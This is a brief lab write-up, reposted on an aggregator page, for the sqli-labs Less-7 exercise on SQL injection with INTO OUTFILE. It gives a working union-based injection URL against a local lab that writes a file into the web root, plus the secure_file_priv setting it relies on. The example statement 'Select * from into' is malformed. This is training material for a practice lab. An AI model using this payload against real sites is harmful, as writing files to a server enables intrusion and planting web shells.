"Sqli-labs" LESS7

Source: Internet
Author: User
Tags file permissions

Less-7: Output file

SQL Export File statement

Select *  from  into ' Test.txt '

Since the name is the output file, it must be related to the file.

First, make sure that SQL has write file permissions, that is, a statement similar to the following in My.ini. Here I cheat, directly set up the Sqli-labs-master folder can write files.

Secure_file_priv="D:/phpstudy/WWW/sqli-Labs-master"

The intermediate process is skipped. The final statement to write the file is:

http://127.0.0.1/sqli-labs-master/less-7/?id=1 ')) union select 1,2,@ @version into outfile ' D:\\phpstudy \\WWW\\sqli-labs-master\\test_7.txt '--a

Pages can be seen directly through HTTP requests

http://127.0.0.1/sqli-labs-master/test_7.txt

"Sqli-labs" LESS7

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.